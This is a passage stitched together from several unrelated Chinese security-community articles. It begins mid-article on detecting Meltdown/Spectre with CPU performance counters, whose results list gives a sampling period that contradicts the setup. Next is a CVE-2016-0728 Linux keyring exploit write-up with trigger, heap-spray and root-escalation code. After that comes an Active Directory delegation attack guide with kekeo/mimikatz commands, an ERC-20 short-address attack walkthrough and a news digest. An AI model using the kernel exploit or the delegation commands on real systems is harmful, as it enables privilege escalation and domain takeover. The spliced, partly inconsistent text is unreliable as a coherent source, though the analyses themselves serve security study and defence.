我们可以通过硬件性能计数器来测量缓存未命中率。在Intel处理器中有两类性能计数器（PMC）：架构型（architectural）PMC以及特定型号型（model-specific）PMC。架构型PMC在微架构中表现一致，自Intel Core Solo以及Intel Core Duo处理器开始引入这种性能计数器。
我们可以执行 _cupid_ 指令来判断是否存在架构型PMC（eax=0x7,
ecx=0x0），这条指令可以告诉我们这些计数器的相关信息。在我们的测试案例中，我们使用intel_cpu_info工具，配合 _-arch_
参数得到如下输出结果：
Printing architectural CPU Information:
Version ID of architectural performance monitoring = 4
Number of general-purpose performance monitoring counter per logical processor = 4
Bit width of general-purpose, performance monitoring counter = 48
Length of EBX bit vector to enumerate architectural performance monitoring events = 7
Core cycle event available: yes
Instruction retired event available: yes
Reference cycles event available: yes
Last-level cache reference event available: yes
Last-level cache misses event available: yes
Branch instruction retired event available: yes
Branch mispredict retired event available: yes
Number of fixed-function performance counters ((if Version ID > 1) = 3
Bit width of fixed-function performance counters (if Version ID > 1) = 48
对于与LLC有关的计数器，我们需要注意LLC引用（Last Level Cache References）以及LLC未命中（LLC
misses）事件。Intel的定义如下：
1、 **Last Level Cache References** 事件：Event Select编码为2EH,
Umask为4FH。这个事件会统计来自于核心的请求数，这些请求引用的是最后一级缓存中的数据。
2、 **Last Level Cache Misses** 事件：Event
Select编码为2EH，Umask为41H。这个事件会统计引用最后一级缓存时的缓存未命中情况。
在测量缓存未命中情况时，我们需要了解哪种PMC可用，尤其是在虚拟环境中更要了解这个信息。我们还需要CPU以及内核支持才能获取这些值，因为我们无法在用户模式下执行读取这些值的指令。我们需要一个应用程序从内核中读取这些值。
图2. 确定哪种PMC可用时所需的组件
在Linux环境中我们可以使用性能分析工具（perf tools）来完成这个任务。其他平台可能需要特殊的驱动程序才能实现。
我们可以执行`perf list`命令列出可用的事件。Last Level Cache References事件以及Last Level Cache
Misses事件的别名分别为cache-references以及cache-misses。根据Intel提供的资料，我们也可以使用`perf stat -e
r4f2e,r412e`命令获取LLC引用以及LLC未命中情况。
此外，我们还可以选择使用LLC-loads以及LLC-load-misses计数器，因为这两者都与LLC有关。然而，需要注意的是这些计数器都是特定型号型计数器，在某些环境中可能无法使用。比如，我们无法在基于Sandy
Bridge微架构运行的物理机上获取LLC-load-misses信息，然而却可以获取LLC-loads信息。
图3. 在物理机上无法访问某些计数器
即使VMware启用了[Virtual CPU Performance Monitoring
Counters](https://kb.vmware.com/s/article/2030221)（虚拟CPU性能监控计数器）功能，我们也无法在虚拟机中获取这些计数器信息。然而，我们还是可以获取到LLC
References以及LLC-miss事件。
图4. 虚拟机中相关事件情况
我们建议大家使用`perf stat`命令来测试这些计数器的可用性。如果条件允许，我们会使用LLC references、LLC
misses事件以及LLC-loads、LLC-load-misses计数器。我们也测试了现在常用的云解决方案中这些指标的可用性，结果发现计数器要么处于不可用状态，要么处于不支持状态。
## 四、测试检测机制
为了验证缓存未命中是否可以作为侧信道攻击的检测机制，我们使用了与LLC相关的性能计数器，具体设置如下：
1、我们为每个逻辑CPU设置了两个`perf`事件（LLC-references以及LLC-misses），测量了每个CPU上的所有进程/线程。在超过采样周期`P`之后才读取计数器值。我们使用如下公式计算LLC丢失率：
2、当MR > 0.99时我们触发检测机制。
3、我们测试了P1=10 000以及P2=20 000这两个采样周期。
使用物理机时，我们实验了如下测试场景：
1、运行stress命令，每次运行2分钟，具体命令如下（其中`#`为逻辑CPU的数量）：
stress -c #
stress -i #
stress -m #
stress -d #
stress -c #
stress -c # -i # -d #
stress -c # -I # -d # -m #
2、使用VLC播放4K视频。
3、部署Meltdown PoC程序。
4、部署Spectre PoC程序。
在上述场景中，利用LLC-references以及LLC-misses事件我们得到了如下结果：
**1号物理主机：**
采样周期P1=10,000时，结果如下：
1、只有使用`-m`参数时stress命令才会触发假阳性（FP）结果；
2、播放4k视频时会出现FP结果；
3、可以检测Meltdown PoC程序；
4、可以检测Spectre PoC程序。
采样周期P2=10,000时，结果如下：
1、只有使用`-m`参数时stress命令才会触发FP结果；
2、播放4k视频时没有出现FP结果；
3、可以检测Meltdown PoC程序；
4、可以检测Spectre PoC程序。
**1号虚拟机：**
采样周期P1=10,000时，结果如下：
1、只有使用`-m`参数时stress命令才会触发假阳性（FP）结果；
2、N/A；
3、可以检测Meltdown PoC程序；
4、可以检测Spectre PoC程序。
采样周期P2=10,000时，结果如下：
1、只有使用`-m`参数时stress命令才会触发FP结果；
2、N/A；
3、可以检测Meltdown PoC程序；
4、无法检测Spectre PoC程序。
对于LLC-loads以及LLC-load-misses事件，有如下结果：
**1号物理机：** 无法使用相关计数器。
**2号物理机：**
采样周期P1=10,000时，结果如下：
1、只有使用`-m`参数时stress命令才会触发假阳性（FP）结果；
2、播放4k视频时不会出现FP结果；
3、可以检测Meltdown PoC程序；
4、可以检测Spectre PoC程序。
采样周期P2=10,000时，结果如下：
1、只有使用`-m`参数时stress命令才会触发FP结果；
2、播放4k视频时没有出现FP结果；
3、可以检测Meltdown PoC程序；
4、可以检测Spectre PoC程序。
**1号虚拟机：** 无法使用相关计数器。
我们所测试的主机环境如下：
**1号物理机：** Core i5-2430M [@2](https://github.com/2 "@2").40GHz，Sandy
Bridge，Ubuntu 14.04
**2号物理机：** Core i7-4600U [@2](https://github.com/2 "@2").10GHz，Haswell，Ubuntu
14.04
**1号虚拟机：** VMware ESX VM，Intel Xeon E5-2660 [@2](https://github.com/2
"@2").2GHz，Sandy Bridge，Ubuntu 16.04
vpmc.enable = “TRUE”
vpmc.freezeMode = “vcpu”
## 五、假阳性结果
我们发现采样周期会影响结果中出现的FP情况，并且使用stress -m命令时，我们总是可以观察到FP现象。查阅stress官方文档后，我们可以看到如下说明：
-m, –vm N
使用N个工作单元持续执行malloc()/free()操作
这种结果在我们预料之中，因为前面我们提到过，LLC与物理内存有关系。因此，如果实际环境中会频繁进行内存分配操作，我们检测起来要更加小心谨慎一些。
根据我们的观察，LLC-loads以及LLC-load-misses计数器能得到更加精确的结果，然而我们还是可以使用LLC
references（cache-references）以及LLC misses（cache-misses）事件进行检测。
图6. 使用ktrace以及性能计数器监视器（PCM）时的测量结果，每种技术所使用的侧信道攻击技术均为Flush-Reload
上图中需要注意的是：Spectre以及Meltdown的PoC代码可以使用“ _Conditional Branch（条件分支）_
”方法避免出现异常，这种情况下ktrace无法检测或者防护此类攻击方式。
## 六、总结
在实际环境中，如果无法使用TSX-NI指令集扩展，那么基于内核追踪以及SIGSEV信号的检测技术可以防护Meltdown攻击行为（这种方法与主机具体的CPU有关，比如[基于](http://software.intel.com/en-us/blogs/2012/02/07/transactional-synchronization-in-haswell)Haswell微架构的Intel微处理器）。
有一些工具能够检测Intel TSX-NI是否可用。其中有一种工具使用的是cpuid指令，大家可以翻阅Intel的64位架构以及IA-32架构的软件开发者手册了解详细信息。
如果实际环境中可以使用CPU性能计数器，那么我们可以采用针对缓存侧信道攻击的通用检测方法。在Linux系统上安装 _perf-tools_
工具后，我们可以运行`perf stat -e -a cache-references,cache-misses,LLC-loads,LLC-load-misses`命令检查这些计数器的可用性。默认情况下，大多数虚拟环境中都没有提供硬件性能计数器（如Amazon AWS、Azure、Virtual
Box），然而我们可以在VMware上启用这一功能。
如果想在其他平台上（如Windows以及macOS上）访问性能计数器则需要付出更多精力，因为我们无法在用户模式下访问这些计数器。我们需要一个合适的内核驱动才能读取计数器数值、采样率，有些时候想获取导致缓存丢失率上升的那个进程ID（PID）也需要内核驱动。
此外，我们建议大家在实际环境中可以调整检测参数，我们会根据用户的情况来决定是否需要出发警报。这种方法会向用户提供PID以及任务ID（TID），这样用户就可以对标记的进程或者线程采取操作。
采样周期也会影响结果的敏感程度：更高的采样率会出现更少的误报率，然而如果黑客的时机把握得非常好，我们还是有可能检测不到这种攻击行为。这种方法需要读取少量字节，然后休眠一段时间。检测技术可以迟滞攻击行为，因为按行读取一大块内存会触发警告。另一方面，较低的采样率会导致出现多个误报。据我们观察，物理主机的性能计数器会比VMware中的性能计数器更加准确。
我们可以证实，如果硬件计数器可用的话，这种检测技术可以用来检测FLUSH+RELOAD类型的缓存侧信道攻击。然而，在实际环境中我们需要多加测试、细调参数。
事实上，我们没办法找到包治百病的一种药，检测和阻止利用Meltdown以及Spectre漏洞的所有攻击行为。不同参数会带来不同的缓解效果，比如，如果某种检测机制需要依赖于特定环境中组件的可用性，那么情况就有所不同。
对于不断变化的安全威胁，警觉性以及主动检测能力是非常重要的一个方面，但我们也需要重视深度防御机制。采用主动的事件响应策略可以帮助单位或组织挖掘攻击链路的可见性，因此可以更好地实施补救措施，这对于Meltdown及Spectre之类的大规模安全风险来说更是如此。 | 社区文章 |
# Linux内核漏洞CVE-2016-0728的分析与利用
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/>
译文仅供参考，具体内容表达以及含义原文为准。
**介绍**
Perception Point研究团队已经在Linux操作系统的内核中发现了一个0
day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于Linux的内核中了,但是我们的团队最近才发现了这个漏洞,并将漏洞的详细信息报告给了内核安全团队。在此之后,我们还发布了一个针对此漏洞的概念验证利用实例。截止至漏洞披露的那一天,这个漏洞已经影响了大约数千万的安装了Linux操作系统的个人计算机和服务器。其中有66%的设备是安卓设备(包括手机和平板电脑在内)。目前,我们和内核安全团队都没有发现任何针对此漏洞的攻击事件,我们建议安全团队对所有有可能受此漏洞影响的设备进行测试,并尽快发布相应的修复补丁。
在这篇文章中,我们将会对此漏洞的技术细节进行讨论,并且还会讨论通过这个漏洞来实现内核代码执行的相关技术。最后,我们还会给大家提供相应的[概念验证实例](https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f),并给大家演示如何将本地用户提权至root用户。
**漏洞信息**
[ 漏洞CVE-2016-0728](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-0728)是由相关keyring功能中的引用泄漏所引起的。在我们深入了解该漏洞的详细信息之前,我们还需要了解一些基础背景知识。
在这里,我们直接引用帮助手册中的内容。驱动器在内核中保存或缓存安全数据、认证密钥、加密密钥和一些其他的数据时,必须使用到keyring功能。系统会调用接口-keyctl(当然了,系统中还存在另外两个系统调用,系统会使用这些系统调用来处理密钥:add_key和request_key,但keyctl绝对是这篇文章中最重要的。),在这个功能的帮助下,用户空间中的程序就可以管理相应的对象,并且使用这一机制来满足不同程序所需实现的不同功能。
每一个进程都可以使用keyctl(全名为KEYCTL_JOIN_SESSION_KEYRING)来为当前的会话创建相应的keyring,而且还可以为keyring指定名称,如果不需要指定名称的话,传入NULL参数即可。通过引用相同的keyring名称,程序就可以在不同进程间共享keyring对象了。如果某一进程已经拥有一个会话keyring了,那么这个系统调用便会为其创建一个新的keyring,并替换掉原有的keyring。如果某一对象被多个进程所使用,那么该对象的内部引用计数(该信息存储在一个名为“usage”的数据域中)将会自动增加。当进程尝试使用相同的keyring替换其当前的会话keyring时,泄漏就发生了。我们可以在下面所给出的代码段(代码段来源于内核版本为3.18的Linux内核)中看到,程序的执行将会直接跳转至error2标签处,这样就跳过了key_put函数的调用,并泄漏了keyring的引用信息(由函数find_keyring_by_name生成)。
long join_session_keyring(const char *name)
{
...
new = prepare_creds();
...
keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments keyring->usage if a keyring was found
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2; //<-- The bug is here, skips key_put.
}
/* we've got a keyring - now install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring);
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
在用户空间中触发这个漏洞是非常容易的,我们可以在下列的代码段中看到:
/* $ gcc leak.c -o leak -lkeyutils -Wall */
/* $ ./leak */
/* $ cat /proc/keys */
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
这样一来,我们便能够得到下列输出信息,这些信息中包含有泄漏的keyring引用信息:
**漏洞利用**
我们需要注意的是,这个漏洞能够直接引起内存泄漏,除此之外,它还能引起很多更加严重的问题。我们在对相关代码段进行了简要的分析之后,我们发现用于存储相应对象引用计数的“usage”数据域其类型为atomic_t,这种类型可以算是int类型,即无论在32位还是64位架构的系统中,其长度都是32位。因为每一个整数从理论上来说都是有可能溢出的,所以这一发现也就验证了在该漏洞的实际利用过程中,利用引用计数溢出这一机制似乎是可行的。幸运的是,在我们进行了分析之后发现,系统的确不会对“usage”数据域进行检测,也没有防止其中数据溢出的相关措施。
如果某一进程引起了内核中某一对象的引用泄漏,那么就会使系统内核认为这个对象已经不再被使用了,并且会释放这个对象所占用的存储空间。如果该进程仍然存有该对象的另一个合法引用信息,并且在内核释放了目标对象之后使用了它,那么将会导致内核释放这条引用信息或者重新分配内存空间。这样一来,我们就可以通过这一漏洞来实现UAF(用后释放)。网络上有很多关于内核中用后释放漏洞的利用方法,大家可以自行搜索和学习,在此我们不再进行赘述。接下来的操作步骤对于一名经验丰富的漏洞研究人员而言,也许没有什么新鲜的东西了。漏洞利用代码所进行的主要操作如下:
1.得到一个密钥对象的(合法)引用信息;
2.使同一对象的“usage”数据域溢出;
3.释放keyring对象;
4.在之前使用的keyring对象所占的内存空间中,分配一个不同的内核对象(含有用户可控制的数据内容);
5.使用已释放keyring对象的引用信息来触发漏洞利用代码的执行;
第一步操作的详细信息大家可以直接从操作手册中获取,步骤二我们也已经在文章中解释过了。接下来,我们将会对其他操作步骤的技术细节进行讨论。
**引用计数溢出**
这一步操作实际上是对这一漏洞的扩展。“usage”数据域是int类型,这也就意味着无论在32位还是64位架构的操作系统中,它所能保存的最大值均为2的32次方。为了让“usage”数据域发生溢出,我们必须对代码段进行2^32次循环,以此来让“usage”的值变为零。
**释放keyring对象**
我们有很多种方法能够释放存有引用计数的keyring对象。其中一种可能成功的方法就是:通过一个进程来使keyring的“usage”变为0,然后通过keyring子系统(该系统会释放所有引用计数为0的keyring对象)中的垃圾回收算法来释放目标对象。
**分配和控制内核对象**
当我们的进程指向了一个已经释放的keyring对象之后,我们就需要分配一个内核对象来覆盖这个之前已经释放了的keyring对象。多亏了SLAB内存分配机制,这一步骤实现起来非常的容易。其中的主要操作代码如下:
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
**获得内核代码执行权限**
下列Linux内核代码段将会调用revoke函数。除此之外,我们还可以通过keyctl系统调用来引用Revoke函数指针。
void key_revoke(struct key *key)
{
. . .
if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
key->type->revoke)
key->type->revoke(key);
. . .
}
keyring对象中应该包含以下信息:
相关代码段如下:
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
struct key_type_s {
void * [12] padding;
void * revoke;
} type;
_commit_creds commit_creds = 0xffffffff81094250;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
...
struct key_type * my_key_type = NULL;
...
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
...
}
我们在一台配有英特尔酷睿i7-5500 CPU的设备上进行了测试,整个测试过程花费了大约30分钟的时间,我们所得到的信息如下图所示:
**漏洞缓解方案 &结论**
内核版本为3.8及其以上的Linux内核都会受到这个漏洞的影响。SMEP和SMAP从某种程度上来说可以给予用户提供一定的保护。也许我们会在之后的文章中讨论如何绕过这些缓解措施,但是现在迫在眉睫的事情就是尽快修复这个漏洞。
感谢David Howells和Wade Mealing,以及整个红帽安全团队对这个漏洞所付出的努力。 | 社区文章 |
# 利用域委派获取域管理权限
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 域委派是大型网络中经常部署的应用模式，给多跳认证带来很大的便利，同时也带来很大的安全隐患，利用委派可获取域管理员权限，甚至制作深度隐藏的后门。
## 0x01 背景知识
域委派是指，将域内用户的权限委派给服务账号，使得服务账号能以用户权限开展域内活动。
服务账号（Service Account），域内用户的一种类型，服务器运行服务时所用的账号，将服务运行起来并加入域。例如MS SQL
Server在安装时，会在域内自动注册服务账号SqlServiceAccount，这类账号不能用于交互式登录。
上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后，前台运行WEB服务的服务账号websvc模拟（Impersonate）用户jack，以Kerberos协议继续认证到后台服务器，从而在后台服务器中获取jack用户的访问权限，即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字，具体步骤如下：
* 域内用户jack以Kerberos方式认证后访问Web服务器；
* Web服务以websvc服务账号运行，websvc向KDC发起jack用户的票据申请；
* KDC检查websvc用户的委派属性，如果被设置，则返回jack用户的可转发票据TGT；
* websvc收到jack用户TGT后，使用该票据向KDC申请访问文件服务器的服务票据TGS；
* KDC检查websvc的委派属性，如果被设置，且申请的文件服务在允许的列表清单中，则返回一个jack用户访问文件服务的授权票据TGS；
* websvc收到的jack用户的授权票据TGS后，可访问文件服务，完成多跳认证。
域内委派主要有3种应用方式：
一是非约束性委派（Unconstrained Delegation），服务账号可以获取某用户的TGT，从而服务账号可使用该TGT，模拟用户访问任意服务。
举例说明，如果某个服务A的服务账号B被设置为非约束委派，当用户C通过Kerberos认证访问服务A时，KDC会检查服务账号B的属性，发现是非约束性委派时，KDC会将用户C的TGT放在TGS中，这样B在验证TGS的同时获取了A用户的TGT，从而可以模拟用户A访问任意服务。
从网络攻击的角度看，如果攻击者控制了服务账号B，并诱骗管理员来访问服务A，则可以获取管理员的TGT，进而模拟管理员访问任意服务，即获得管理员权限。越是大型网络、应用越多的网络，服务账号越多，委派的应用越多，越容易获取域管理员权限。
二是约束性委派（Constrained
Delegation），即Kerberos的扩展协议S4U2Proxy，服务账号只能获取某用户的TGS，从而只能模拟用户访问特定的服务；
三是协议传递，即Kerberos的扩展协议S4U2Self，服务账号针对某一个特定服务，可查询获取任意用户的TGS，从而能模拟任意用户访问该特定服务。
在Windows系统中，普通用户的属性中没有委派（Delegation）这个选项卡，只有服务账号、主机账号才有。如下图所示。
## 0x02 筛选具有委派属性的服务账号
当服务账号被设置为非约束性委派时，其userAccountControl属性会包含为TRUSTED_FOR_DELEGATION，如下图：
当被设置为约束性委派时，其userAccountControl属性包含[TRUSTED_TO_AUTH_FOR_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)（T2A4D），且msDS-AllowedToDelegateTo属性会被设置为哪些协议。如下图：
可通过PowerShell脚本枚举域内所有的服务账号，查看哪些账号被设置了委派，以及是何种类型的委派设置。具体代码如下：
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
当一个用户具备对某个服务账号的[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)权限时，表示可以更改服务账号的委派设置，一般情况下只有域管理员才具备这个权限。因此也可以利用[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)属性，制作极其隐蔽的后门。
## 0x03 攻击样例
### 样例1：已知被设置约束性委派属性的服务账号的口令明文，则可以获取域管理权限
测试主机为域内Windows 7系统，现在以普通域用户eviluser登录系统，IPC方式连接域服务器，访问域服务器的C盘目录，显示被拒绝，权限不够。
现在已知域内服务账号sqlsvc的口令明文，则可使用kekeo工具构造sqlsvc服务账号的票据。命令和执行结果如下，
tgt::ask /user:sqlsvc /domain:testlab.com /password:1qaz@WSX3edc /ticket:sqlsvc.kirbi
由于sqlsvc被设置为非约束性委派，因此可以利用刚才伪造的sqlsvc票据，向域服务器发起申请访问域服务器CIFS服务的管理员权限的TGS的命令。命令以及执行结果如下。
Tgs::s4u /tgt:service_account_tgt_file /user:[email protected] /service:service_to_access
此时内存中已经有了访问域服务器CIFS服务的域管理员的TGS票据，需要将该票据注入当前的会话中，使用mimikatz的kerberos::ptt命令可完成票据的注入。注入票据后，当前的会话具备了访问域服务器C盘目录的权限，测试结果如下图。
### 样例2：已控制约束性委派服务账号所在的服务器
攻击者控制了服务器，与样例1类似。由于攻击者控制了服务器，可直接利用mimikatz从内存获取服务账号的TGT，所以可以省去tgt::ask步骤，直接从tgs:s4u步骤开始，后续和样例1相同。
### 样例3：已获取配置了约束性委派的服务账号的口令NTLM
和样例1相同，样例1用明文口令生成NTLM，然后向域服务器申请获取服务账号的TGT。Kekeo提供了该功能，可直接从NTLM开始，向域服务器申请TGT。
### 样例4：一个主机账号被设置了约束性委派，已获取该主机账号的口令NTLM
方法和样例1也是类似，只不过样例1中是服务账号，而本样例中是主机账号。测试结果截图分别如下，不再过多解释。测试可在任何域内主机中进行，不需要在主机账号所在的主机。
## 0x03 防范措施
从第一、二节可以看到委派带来的安全性隐患巨大，但委派又是经常要用到的、非常实用方便的应用模式，所以不能直接粗暴的禁止委派这种类型的应用，下面介绍几种降低这种安全隐患的方法。
* 高权限的用户，设置不能被委派，如图所示。
* 主机账号需设置委派时，只能设置为约束性委派；
* Windows 2012 R2及更高的系统建立了受保护的用户组，组内用户不允许被委派，这是有效的手段。受保护的用户组，当这个组内的用户登录时（windows 2012 R2域服务器，客户端必须为Windows 8.1或之上）：
* 不能使用NTLM认证；
* Kerberos预认证时不能使用des或者RC4等加密算法；
* 不能被指定为委派；
* 4个小时后TGT失效，需要重新认证。 | 社区文章 |
作者：隐形人真忙
作者博客：<http://blog.csdn.net/u011721501/article/details/79476587>
#### 0x00 基础知识
EVM虚拟机在解析合约的字节码时，依赖的是ABI的定义，从而去识别各个字段位于字节码的什么地方。关于ABI，可以阅读这个文档：
<https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI>
一般ERC-20 TOKEN标准的代币都会实现transfer方法，这个方法在ERC-20标签中的定义为： `function
transfer(address to, uint tokens) public returns (bool success);`
第一参数是发送代币的目的地址，第二个参数是发送token的数量。
当我们调用transfer函数向某个地址发送N个ERC-20代币的时候，交易的input数据分为3个部分：
4 字节，是方法名的哈希：a9059cbb
32字节，放以太坊地址，目前以太坊地址是20个字节，高危补0
`000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca`
32字节，是需要传输的代币数量，这里是1*10^18 GNT
`0000000000000000000000000000000000000000000000000de0b6b3a7640000`
所有这些加在一起就是交易数据：
`a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000`
#### 0x01 以太坊短地址
当调用transfer方法提币时，如果允许用户输入了一个短地址，这里通常是交易所这里没有做处理，比如没有校验用户输入的地址长度是否合法。
如果一个以太坊地址如下，注意到结尾为0：
`0x1234567890123456789012345678901234567800`
当我们将后面的00省略时，EVM会从下一个参数的高位拿到00来补充，这就会导致一些问题了。
这时，token数量参数其实就会少了1个字节，即token数量左移了一个字节，使得合约多发送很多代币出来。我们看个例子：
这里调用sendCoin方法时，传入的参数如下：
0x90b98a11
00000000000000000000000062bec9abe373123b9b635b75608f94eb8644163e
0000000000000000000000000000000000000000000000000000000000000002
这里的0x90b98a11是method的hash值，第二个是地址，第三个是amount参数。
如果我们调用sendCoin方法的时候，传入地址0x62bec9abe373123b9b635b75608f94eb8644163e，把这个地址的“3e”丢掉，即扔掉末尾的一个字节，参数就变成了：
0x90b98a11
00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600
00000000000000000000000000000000000000000000000000000000000002
^^
缺失1个字节
这里EVM把amount的高位的一个字节的0填充到了address部分，这样使得amount向左移位了1个字节，即向左移位8。
这样，amount就成了2 << 8 = 512。
#### 0x02 构造短地址攻击
（1）首先生成一个ETH的靓号，这个账号末尾为2个0
使用一些跑号工具就可以做到，比如MyLinkToken工具，可以很轻易跑出末尾两个0的。
（2）找一个交易所钱包，该钱包里token数量为256000
（3）往这个钱包发送1000个币
（4）然后再从这个钱包中提出1000个币，当然这时候写地址的时候把最后两个0去掉
如果交易所并没有校验用户填入的以太坊地址，则EVM会把所有函数的参数一起打包，会把amount参数的高位1个字节吃掉。
（5）这三个参数会被传入到msg.data中，然后调用合约的transfer方法，此时，amount由于高位的1个字节被吃掉了，因此amount =
amount << 8，即扩大了256倍，这样就把25600个币全部提出来了。
#### 0x03 总结
针对这个漏洞，说实话以太坊有不可推卸的责任，因为EVM并没有严格校验地址的位数，并且还擅自自动补充消失的位数。此外，交易所在提币的时候，需要严格校验用户输入的地址，这样可以尽早在前端就禁止掉恶意的短地址。
#### Reference
* <https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95>
* <http://vessenes.com/the-erc20-short-address-attack-explained/>
* <https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/>
* * * | 社区文章 |
# 4月11日安全热点 - Adobe Flash漏洞CVE-2018-4878 野外利用被发现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简报 2018-04-11 星期三
## 【漏洞】
1.微软发布2018年4月安全公告，修复了60多个安全问题
[ http://t.cn/Rn7P4Nm](http://t.cn/Rn7P4Nm)
2.Adobe发布安全更新，修复了多个安全漏洞
[ http://t.cn/Rmi1Spx](http://t.cn/Rmi1Spx)
3.CyberArk企业密码管理器中存在严重的RCE漏洞(CVE-2018-9843)
[ http://t.cn/Rmi1S0n](http://t.cn/Rmi1S0n)
4.CVE-2018-1275: spring 4.3.x远程代码执行漏洞（CVE-2018-1270）补丁修正
[ http://t.cn/Rmi1SOB](http://t.cn/Rmi1SOB)
5.Apache Hive xpath UDF信息泄露漏洞(CVE-2018-1284)
[ http://t.cn/Rmi1Slc](http://t.cn/Rmi1Slc)
6.Apache Hive Java数据库连接驱动程序绕过漏洞(CVE-2018-1282)
[ http://t.cn/Rmi1SjE](http://t.cn/Rmi1SjE)
7.H2数据库任意代码执行漏洞
[ http://t.cn/Rmi1STB](http://t.cn/Rmi1STB)
## 【恶意软件】
1.警惕！新型RDP爆破蠕虫Morto来袭
[ http://t.cn/Rmx8s9a](http://t.cn/Rmx8s9a)
2.Cisco:发现银行木马“IcedID”与“Rovnix”恶意软件一起被投递
[ http://t.cn/Rmi1onG](http://t.cn/Rmi1onG)
3.挖矿木马藏身“装修视频”
[ http://t.cn/RmM9R8T](http://t.cn/RmM9R8T)
## 【安全报告】
1.安全客2018季刊第一季 | 区块链时代下的黑产攻防
[ http://t.cn/RmVBOaL](http://t.cn/RmVBOaL)
## 【安全工具】
1.Loki：一款简单强大的IOC和事件响应扫描器
[ http://t.cn/RmfaVNm](http://t.cn/RmfaVNm)
## 【安全事件】
1.全球最受欢迎的YouTube视频遭到黑客入侵
[ http://t.cn/Rmi1SH3](http://t.cn/Rmi1SH3)
2.生活服务巨头 Sodexo 遭数据泄露，提醒用户注销支付卡
[ http://t.cn/RmINisi](http://t.cn/RmINisi)
3.加勒比岛屿圣马丁岛的公共服务因网络攻击而关闭
[ http://t.cn/Rmi1S8I](http://t.cn/Rmi1S8I)
## 【安全资讯】
1.远控软件NetSupport Manager已遭黑客滥用于开展网络间谍活动
[ http://t.cn/Rmi1SR3](http://t.cn/Rmi1SR3)
2.Adobe Flash漏洞CVE-2018-4878 野外利用被发现
[ http://t.cn/Rmi1Sna](http://t.cn/Rmi1Sna)
3.施耐德电气修复自动化构建软件中的 16 个缺陷
[ http://t.cn/RzjmUzG](http://t.cn/RzjmUzG)
4.谷歌申请新专利，利用区块链技术保护用户数据安全
[ http://t.cn/RmJUsfe](http://t.cn/RmJUsfe)
5.谷歌/微软/Mozilla浏览器厂商将支持新的WebAuthn API
<http://t.cn/Rmi1SuW>
6.使用SirenJack攻击可以让黑客控制紧急警报器
[ http://t.cn/RmiIZ8I](http://t.cn/RmiIZ8I)
7.一个点引发的Google Gmail邮箱潜在钓鱼风险
[ http://t.cn/Rmi1S31](http://t.cn/Rmi1S31)
## 【安全研究】
1.近年来APT组织主要使用的10大类安全漏洞
[ http://t.cn/Rmi1S1F](http://t.cn/Rmi1S1F)
2.新型ATM恶意软件ATMJackpot分析
<http://t.cn/Rmi1Sr0>
3.CVE-2018-4878案例：针对香港某电信公司网站被入侵攻击的调查
<http://t.cn/RmxOvCg>
4.使用Nmap进行大规模的分布式漏洞检测
<http://t.cn/RmiYF4z>
5.Oblivious DNS：堵住互联网最大的隐私漏洞
<http://t.cn/Rmi1SgU>
6.利用.MF后缀文件猥琐绕过火绒杀毒测试
<http://t.cn/Rmidfcn>
【以上信息整理自 <https://cert.360.cn/daily> 】
